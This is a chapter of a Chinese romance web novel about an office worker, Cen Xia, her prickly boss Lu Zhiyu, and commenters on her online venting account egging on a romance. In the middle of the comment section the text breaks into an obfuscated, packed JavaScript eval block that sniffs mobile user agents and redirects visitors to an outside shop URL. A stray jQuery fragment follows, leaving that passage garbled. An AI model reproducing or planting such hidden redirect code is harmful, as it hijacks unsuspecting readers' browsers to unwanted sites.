话刚出口,岑夏就后悔了。
办公室里霎时死一般的寂静。
“老板……”岑夏干巴巴地解释,“我没有让你闭嘴的意思……”
这话,说了还不如不说。
岑夏认命地闭了闭眼,被脑子死命跑也追不上嘴的无力感深深攫住。
她在说什么鬼东西。
路知屿保持着靠坐的姿势,闻言,身子僵了那么一瞬。
那极短的异常,如果不是她正全神贯注观察他的反应,根本不会察觉。
要完。
岑夏几乎能能想象得到,以路知屿锱铢必较的性格,待会会以怎样的手段来报复她。
扣钱?
亦或调出一堆工作文件砸在她头上,唇角含三分讥诮七分不屑:“不是很闲吗?明天上班之前做完给我!”
光是想想,岑夏的手心就有点冒汗了。
她偷眼打量着路知屿的神色变化,默默等待悬在头顶的铡刀落下的那刻。
然而,一秒、两秒。
路知屿就只是静静地看着她,幽深的眸子里寻不到任何山雨欲来的情绪。
下一瞬,他又漫不经心地将目光从她身上移开,落回到办公桌上的电脑桌面上。
他看得认真,仿佛刚才那个小插曲并未发生过。
路知屿居然,没有回怼她。
不对,
这很不对。
岑夏将自己刚刚说错的话在心里翻来覆去咂摸好几遍,忽的脑中一闪,想起网友的那句提议:
一个猴一个拴法。
路知屿这货,难道吃软不吃硬?
她一句“长得挺帅”,就取悦他了?
尽管这猜想听起来很荒诞,但确实是概率最大的可能了。
心底某个想法蠢蠢欲动,岑夏大着胆子,伸出试探的小手。
她调整了下坐姿,换成面向路知屿的方向。
她托着腮,目光一错不错盯着他,唇角的笑都要压不住了。
果然,不消片刻,路知屿敲击键盘的速度慢下来。
他终于停下,稍稍坐直了身子,端起右侧的水杯。
他没有看她,声线却压得又低又冷:“看够了没有?”
岑夏没被他的冰冷吓到,反而微微歪了歪脑袋,思考了几秒。
然后,唇角绽出盈盈笑意,一双星眸眨啊眨,无辜极了。
“怎么啦?超时收费吗老板?”
她就那么大喇喇地、明晃晃地承认了对他的偷窥。
路知屿端着水杯的手微不可查颤了一下。
水呛进气管,他偏过头,手撑着桌沿,闷声咳了好几下。
岑夏将他一切的反应尽收眼底,唇角控制不住地疯狂上扬。
她几乎要笑疯了。
她发现了个不得了的秘密:
冷静自持如路知屿,竟然是个吃软不吃硬的傲娇鬼。
因为这一发现,整个晚上,岑夏都处于精神亢奋状态。
但相比于岑夏的兴奋,路知屿比平日更加沉默寡言了。
岑夏对此毫不在意,工作结束后,跟路知屿一起到了停车场。
她快走几步,赶到路知屿前面,面向他,勾起抹坏笑:“我英俊帅气的老板大人,介意载我一程吗?”
她眼中的狡黠毫无遮掩,路知屿步子一顿,终是忍无可忍。
他伸手,指节在岑夏脑袋上轻敲一下:“岑夏,你够了。”
话虽这样说,另一只手却已经取出车钥匙,按了解锁。
路知屿率先钻进车子。
车灯亮起,光束笔直地切出去,照亮昏暗的停车场。
路知屿握着方向盘,却没有立刻启动。
指节轻叩了叩驾驶位车门。
岑夏会意,唇畔梨涡绽开,拉开副驾车门,快速钻了进去。
路知屿径直将车子驶出闹市区,上了主干道,向南驶去。
岑夏家住城南。
因为今晚的重大发现,那些原本难以启齿的话,在此刻看来已经算不得什么难题了。
“我有件事,一直想跟老板说,”岑夏偏头看着路知屿的侧脸,“一直没找到机会。”
“嗯,”路知屿视线落在前方,“你说。”
“之前云琅路演活动的事,谢谢老板帮我兜底,”这句谢,岑夏是诚心诚意的,“也谢谢老板教我。”
岑夏将路演那几天的事串在一起,来来回回地琢磨了好久,才咂摸出些味儿来。
路知屿脾气臭是臭,但他是真的在用实例教会她一些东西。
“还不算太笨。”路知屿没否认。
岑夏很麻溜地顺杆爬:“主要是老板带得好。”
路知屿唇角弯了弯:“怎么?今天我不是你口中冷血无情的老板了?”
岑夏闻言,脑子“嗡”了一下。
冷血无情?
她什么时候当路知屿的面说过这话?
“老板,我不是、我没有……”越说,她的声音越小。
岑夏非常确定,这话,她只在Muse上吐槽过,可从来没在现实生活中说过。
她紧张地冒了一手心的汗:“老板,大夏天的,可不能怎么平白冤枉好人啊!你都听谁胡说八道的……”
路知屿偏头看了她一眼,又很快收回。
“这还用听别人说?你都明晃晃地写在脑门上了。”
原来是猜的。
岑夏悄悄舒了口气。
人吓人,是真的会吓死人的。
路知屿似乎真的只是随口一说,很快将话题引到别处:“我的谢礼呢?”
“啊?”岑夏眨巴眨巴眼,“谢礼?”
“所以,”路知屿拖长了声调,“就只是用嘴巴感谢?”
瞧瞧这资本家的嘴脸。
岑夏扯出笑:“要不,改天,我请您吃饭?”
回到家,俞初女士已经睡下,只玄关的灯还亮着。
岑夏轻手轻脚洗漱完,回了自己房间。
Muse上,后台消息提示要比平日多了许多。
岑夏倒进床上,点开查看,然后,愣住。
晚上刚发的那条求助帖,很意外地被疯狂推流。
老板今天作妖了吗:帮朋友问,怎样跟对抗路老板道谢不尴尬?
高赞首评的,就是“啃刺猬”的那句:直接说,他不会吃了你。
岑夏皱眉,网友这都什么脑回路,这条烂建议也能引发共鸣?
点击下面的“展开100条评论”。
惊羽:哈哈!无中生友系列。
瓜田里的猹:有没有人觉得,这条首评和作者的文案连在一起,莫名好嗑?
星期八:我懂!而且,这位“啃刺猬”的调调和那位奇葩老板莫名贴脸!
扎勒喜:什么都嗑只会让你们营养更均衡。
……
岑夏的眼睛猛地被那句“贴脸”狠狠刺了一下。
三十七度的手是怎么打出如此惊悚的文字的?
更恐怖的是,岑夏发现,她将“啃刺猬”说过的话安在路知屿脸上,似乎真的毫无违和感。
一旦接受这种设定,冷汗已经开始涔涔往外冒。
岑夏的手都有些抖,下拉进度条。
然后,在一众起哄的评论中看到了那个熟悉的名字。
啃刺猬:我本人更嗑作者和奇葩老板。
然后,风向从这条评论起,又开始往奇怪的方向狂奔。
79:笑死,没记错的话,作者是靠吐槽老板起号的。
甜豆花:但架不住老板长得帅啊!
不吃鱼的猫:而且,作者似乎好多天没有骂过老板了。
几条对路知屿神颜的吹嘘和对岑夏消极怠工的不满后,一条神评再次杀出重围——
IG:作者大大,他让你吃职场的苦,那你就让他尝尝情场的苦,我要看。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402234|199973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>下面,一连串的“要看+1”。
岑夏默默窥屏,压根不敢露头。
十几条后,“啃刺猬”也冒了出来,只有四个字:我看可以。
岑夏看了眼那行字下的发布时间,就在刚刚。
她双击截屏,把他的这条评论重点圈出来,甩到了“啃刺猬”的私信。
老板今天作妖了吗:[图片]可以?
他果然在线,很快回复:为什么不可以?
老板今天作妖了吗:我看起来像是活够了吗?
对面没了动静。
岑夏以为他已经下线或者他只是随口那么一提,并没有如何在意。
直到几分钟后,那边消息发过来:
可行的理由有两点。其一,对你的账号发展有利。就最近时间账号流量来看,下滑趋势明显,“吐槽”模式局限性大,素材可取性不高。转换思路,内容提升,迎合呼声,有助于固粉。其二,从战略角度分析,在你和老板的相处模式来看,这么做是你从防守转为主动进攻的最优解。
岑夏盯着那满屏的文字,瞪大了双眼。
这哪里是闲聊,这简直是一份可行性报告。
更要命的是,她还可耻地心动了。
岑夏还在胡思乱想。
忽的,听到客厅传来俞初女士的一声惊呼。
岑夏从床上弹起,奔出去。
打开客厅的灯,就见俞初女士的腿以一种奇怪的姿势扭转,跪倒在地。
“妈!”岑夏跑过去扶她,“怎么回事?”
俞初疼得直皱眉:“起来上厕所,不小心崴了一下脚……”
“还能站起来吗?”
岑夏弯下腰,将俞初女士的胳膊搭在自己肩膀,将她从地上拽起。
俞初疼得浑身冒冷汗,却还是强忍着,架着女儿的胳膊勉强起身,坐到一旁的沙发上。
岑夏观察了一下她扭伤的脚踝,小脸皱起:“去趟医院吧!怕是伤着骨头了。”
俞初伤了脚,岑夏不会开车,两人只能打车去医院。
这是第一次,岑夏后悔自己犯懒,没早点把驾照弄到手。
俞初却掐了把她的脸:“这事儿赖得着你吗?要赖也赖你爸,为了个破工作,整年整年的不着家……”
说起岑父的工作,母女俩一时缄默。
到了医院,岑夏先是去医院大厅租了轮椅,这才推着俞初去三楼骨科门诊就诊。
俞初似乎终于从刚才的话题中回过神,情绪好了一些。
她拍了拍岑夏推着轮椅的手:“夏夏,你以后找男朋友,可不能找你爸那样的,听着伟光正有什么用?到头来苦的还是自己亲人。”
从小到大,这话俞初说过无数遍,可岑夏心里清楚,她不过就是随口抱怨那么几句,于是也就顺着她的话说:“那我们英明神武的俞初女士觉得我该找什么样的?”
“最起码,得是时时能看得见摸得着的吧?最好,皮囊优秀一点……”说着,手指指向前方某个方向,“喏,最起码得是那种档次的样貌。”
岑夏顺着她指的方向看过去,然后,愣住。
诊室门口排着三四个人,她一眼就看到那个最高的。
他身上的工作装还没换下,还是分开时候的那身。
路知屿怎么会在这?
岑夏刚想走过去打个招呼,偏头,看到诊室门口的牌子上写着“儿科”两个大字。
儿科?
正狐疑间,广播刚巧响起:
“78号路念安,请到2诊室就诊。”
播报声刚落下,路知屿就转了身,扶起了一旁长椅上等待的女生。
女生高高瘦瘦,脸色有些苍白,但依旧掩不住优秀的五官轮廓。
路念安?
岑夏在心里将这名字念了几遍,视线在那搀扶的两人之间逡巡几个来回,然后,震惊地瞪大双眼:
路知屿都有个这么大的女儿了?!